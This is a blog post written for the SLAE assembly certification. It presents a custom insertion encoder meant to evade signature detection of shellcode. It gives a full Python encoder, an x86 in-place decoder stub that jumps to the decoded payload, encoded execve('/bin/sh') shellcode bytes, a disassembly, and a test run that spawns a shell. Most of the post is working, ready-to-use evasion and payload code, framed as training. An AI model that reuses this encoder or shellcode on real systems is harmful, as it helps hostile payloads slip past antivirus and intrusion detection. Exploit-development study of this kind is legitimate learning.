Custom encoding scheme
For the 4th assignment of SLAE, I’ve made a custom encoding scheme, with the same purpose as the insertion encoder: avoid signature detection by inserting garbage bytes into the shellcode.
The encoding scheme works as follows: we start from a working shellcode and insert garbage blocks, containing a random garbage byte and the offset to the next garbage block. The distance between the garbage blocks is a random value between 2 modifiable limits. In this way we can control the final length of the shellcode and the amount of garbage inserted.
The encoded shellcode will look like this:
---------------------------------------------------------
| n0 | . . .| b1 | n1 | . . . . .| b2 | n2 | . . . |END |
---------------------------------------------------------
ni - next garbage byte position
bi - garbage byte
END - END of the shellcode marker
The encoding is done in a Python script:
#!/usr/bin/python
'''
Python Insertion Encoder
'''
import random
# Execve-stack shellcode - execve(/bin/sh,..)
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
encoded = ""
idx = 1
# Control the frequency of garbage through a displacement
MIN_DEP = 3 # min number of shellcode bytes after which to inject garbage
MAX_DEP = 4 # max ...
dep = random.randint(MIN_DEP, MAX_DEP)
n = idx + dep
encoded += '\\x%02x' % n
END = "\\xf0\\x0d"
for x in bytearray(shellcode) :
if idx == n:
# We have reached an insertion point
dep = random.randint(MIN_DEP, MAX_DEP)
n = idx + dep
encoded += '\\x%02x' % random.randint(1,255)
encoded += '\\x%02x' % n
idx += 2
# Add a shellcode byte
encoded += '\\x%02x' % x
idx += 1
encoded += END
print encoded
# Print in nasm friendly form
print encoded.replace("\\x", ",0x")[1:]
print 'Initial len: %d, encoded len: %d' % (len(shellcode),
len(encoded)/4)
The decoding is done in the assembly shellcode:
global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi ; beginning of the encoded shellcode
lea edi, [esi] ; shellcode decoded in place. Edi - dest pointer
xor eax, eax
mov al, byte [esi] ; position of next garbage byte
xor ebx, ebx
push 1 ; index into the shellcode
pop ecx
decode:
cmp ecx, eax
jnz short shellcode_byte ; shellcode byte found
add ecx, 2 ; garbage byte found. Advance 2 bytes
mov al, byte [esi + eax + 1]; position of next garbage byte
shellcode_byte: ; byte part of real shellcode
mov bl, byte [esi + ecx]
mov byte [edi], bl
inc edi ; advance destination
inc ecx ; advance source
cmp byte [esi + ecx], 0xf0 ; check for END marker
jnz decode
cmp byte [esi + ecx + 1], 0x0d
jnz decode
jmp esi ; shellcode decoded in-place. Jump to it
call_shellcode:
call decoder
EncodedShellcode: db 0x04,0x31,0xc0,0x50,0x06,0x08,0x68,0x2f,0x15,0x0b,0x2f,0x12,0x0e,0x73,0x85,0x11,0x68,0x4e,0x14,0x68,0x96,0x18,0x2f,0x62,0xd8,0x1c,0x69,0x6e,0xf9,0x20,0x89,0xe3,0xa9,0x23,0x50,0x6d,0x26,0x89,0x60,0x29,0xe2,0x0e,0x2d,0x53,0x89,0x3b,0x30,0xe1,0xaa,0x34,0xb0,0x0b,0x55,0x37,0xcd,0xe2,0x3b,0x80,0xf0,0x0d
And now to test this:
- Encode the
execve-stack
shellcode using the Python script above. - Disassemble and examine the encoded shellcode
- Define the shellcode bytes at the end of the assembly decoder
- Assemble
- Test using a C program which executes the payload
$ ./custom-encoder.py
\x05\x31\xc0\x50\x68\xb1\x08\x2f\x58\x0c\x2f\x73\x71\x10\x68\x68\x88\x14\x2f\x62\x42\x17\x69\x6a\x1a\x6e\xba\x1d\x89\xf5\x21\xe3\x50\xe0\x25\x89\xe2\xaf\x29\x53\x89\x83\x2d\xe1\xb0\x33\x30\x0b\x1a\x33\xcd\x66\x36\x80\xf0\x0d
0x05,0x31,0xc0,0x50,0x68,0xb1,0x08,0x2f,0x58,0x0c,0x2f,0x73,0x71,0x10,0x68,0x68,0x88,0x14,0x2f,0x62,0x42,0x17,0x69,0x6a,0x1a,0x6e,0xba,0x1d,0x89,0xf5,0x21,0xe3,0x50,0xe0,0x25,0x89,0xe2,0xaf,0x29,0x53,0x89,0x83,0x2d,0xe1,0xb0,0x33,0x30,0x0b,0x1a,0x33,0xcd,0x66,0x36,0x80,0xf0,0x0d
Initial len: 25, encoded len: 56
$ echo -ne "\x05\x31\xc0\x50\x68\xb1\x08\x2f\x58\x0c\x2f\x73\x71\x10\x68\x68\x88\x14\x2f\x62\x42\x17\x69\x6a\x1a\x6e\xba\x1d\x89\xf5\x21\xe3\x50\xe0\x25\x89\xe2\xaf\x29\x53\x89\x83\x2d\xe1\xb0\x33\x30\x0b\x1a\x33\xcd\x66\x36\x80\xf0\x0d" | ndisasm -b 32 -
00000000 0531C05068 add eax,0x6850c031
00000005 B108 mov cl,0x8
00000007 2F das
00000008 58 pop eax
00000009 0C2F or al,0x2f
0000000B 7371 jnc 0x7e
0000000D 106868 adc [eax+0x68],ch
00000010 88142F mov [edi+ebp],dl
00000013 624217 bound eax,[edx+0x17]
00000016 696A1A6EBA1D89 imul ebp,[edx+0x1a],dword 0x891dba6e
0000001D F5 cmc
0000001E 21E3 and ebx,esp
00000020 50 push eax
00000021 E025 loopne 0x48
00000023 89E2 mov edx,esp
00000025 AF scasd
00000026 295389 sub [ebx-0x77],edx
00000029 832DE1B033300B sub dword [dword 0x3033b0e1],byte +0xb
00000030 1A33 sbb dh,[ebx]
00000032 CD66 int 0x66
00000034 3680F00D ss xor al,0xd
$ ./compile.sh
[+] Assembling egghunter
[+] Linking egghunter
\xeb\x2d\x5e\x8d\x3e\x31\xc0\x8a\x06\x31\xdb\x6a\x01\x59\x39\xc1\x75\x07\x83\xc1\x02\x8a\x44\x06\x01\x8a\x1c\x0e\x88\x1f\x47\x41\x80\x3c\x0e\xf0\x75\xe8\x80\x7c\x0e\x01\x0d\x75\xe1\xff\xe6\xe8\xce\xff\xff\xff\x04\x31\xc0\x50\x06\x08\x68\x2f\x15\x0b\x2f\x12\x0e\x73\x85\x11\x68\x4e\x14\x68\x96\x18\x2f\x62\xd8\x1c\x69\x6e\xf9\x20\x89\xe3\xa9\x23\x50\x6d\x26\x89\x60\x29\xe2\x0e\x2d\x53\x89\x3b\x30\xe1\xaa\x34\xb0\x0b\x55\x37\xcd\xe2\x3b\x80\xf0\x0d
[+] House cleaning
[+] Done!
$ ./shellcode
Shellcode Length: 112 bytes
$ whoami
liv
##
The complete source files and scripts mentioned in this post can be found in my SLAE Git repository.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification